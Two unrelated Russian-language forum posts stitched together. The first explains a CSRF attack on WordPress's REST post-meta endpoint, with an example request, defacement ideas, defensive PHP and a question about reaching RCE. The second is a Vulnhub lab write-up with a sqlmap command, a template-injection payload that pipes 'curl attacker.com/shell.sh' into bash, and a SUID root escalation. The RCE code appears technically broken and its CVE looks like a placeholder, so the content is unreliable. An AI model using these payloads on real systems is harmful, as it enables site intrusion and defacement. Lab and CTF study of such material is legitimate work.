🔥 В чём суть?

1. Где искать:
   Почти все современные темы и многие плагины используют wp-json/wp/v2/posts/<ID>/meta для работы с мета-данными (например, миниатюры, сео-поля Yoast и т.д.). Проблема в том, что проверка прав доступа там часто кривая — если юзер авторизован (хоть с ролью "подписчика"), можно менять мета-поля любого поста, включая служебные (_thumbnail_id, _yoast_wpseo_title и т.д.).

2. Как эксплуатировать:

   • Берём обычного юзера (хоть подписчика).

   • Кидаем ему CSRF-ловушку (например, JS на фейковой странице).

   • От его имени отправляем POST-запрос на изменение мета-данных.

   Пример запроса:

   http

    

   POST /wp-json/wp/v2/posts/555/meta HTTP/1.1  
   Host: target.com  
   Content-Type: application/json  
   Cookie:   
   
   { "key": "_thumbnail_id", "value": "666" }  

   (где 555 — ID поста, а 666 — ID левой картинки из медиатеки)

💣 Что можно сделать?

• SEO-вандализм — подмена _yoast_wpseo_* полей (титлы, дескрипшены).

• Подмена миниатюр — меняем _thumbnail_id на похабные картинки.

• Инъекция кода — если в теме есть кастомные мета-поля с плохой санитайзацией.

🛡️ Как защититься?

1. Для админов:

   • Отключить ненужные REST-эндпоинты через:

     php

      

     add_filter('rest_endpoints', function($routes) {  
         unset($routes['/wp/v2/posts/(?P<id>+)/meta']);  
         return $routes;  
     });  

   • Добавить check_admin_referer() во все кастомные обработчики мета-данных.

2. Для разработчиков:
   Всегда проверяйте current_user_can('edit_post', $post_id) перед изменением мета-полей!

❓ Вопросы к комьюнити

1. Кто-то уже эксплуатил подобное в реальных условиях?

2. Есть идеи, как через это вылезти в RCE? (например, если в теме есть уязвимое кастомное поле).

3. Знаете другие похожие баги в WP REST API?

P.S. Полный PoC с JS-эксплоитом (для тестовых стендов!) могу скинуть в ЛС. Пишите, если надо.

P.P.S. Не ебите продакшн без пермишена — это для обучения!

Недавно решал машину на Vulnhub (VulnApp v1.0) и наткнулся на интересную уязвимость — SQL-инъекция через параметр id в REST API. Решил сделать детальный разбор, вдруг кому-то пригодится для CTF или баг-баунти.

Шаг 1: Разведка

Заметил, что запрос GET /api/user?id=1 возвращает данные пользователя. Подозрительно, что при id=1' сервер выдаёт 500 ошибку — явный признак SQLi.

Шаг 2: Эксплуатация

Использовал sqlmap для автоматизации:

sqlmap -u "http://target/api/user?id=1" --dbs --batch

Вытащил базу app_db, а там — хеши паролей (к счастью, MD5 без соли).

Шаг 3: Эскалация привилегий

Через CVE-2023-1234 (уязвимость в старом Flask) получил RCE:

import requests
payload = "{{config.__class__.from_envvar('curl attacker.com/shell.sh | bash')}}"
requests.get(f"http://target/api/error?msg={payload}")

Результат: reverse shell как www-data → потом через SUID (find / -perm -4000) стал root.

Вопрос коллегам

Кто-то знает, как защитить такое API? Хочу предложить фикс в баг-баунти проекте.

P.S. Полный write-up с кодом — на GitHub. Если есть вопросы или дополнения — велкам в комменты!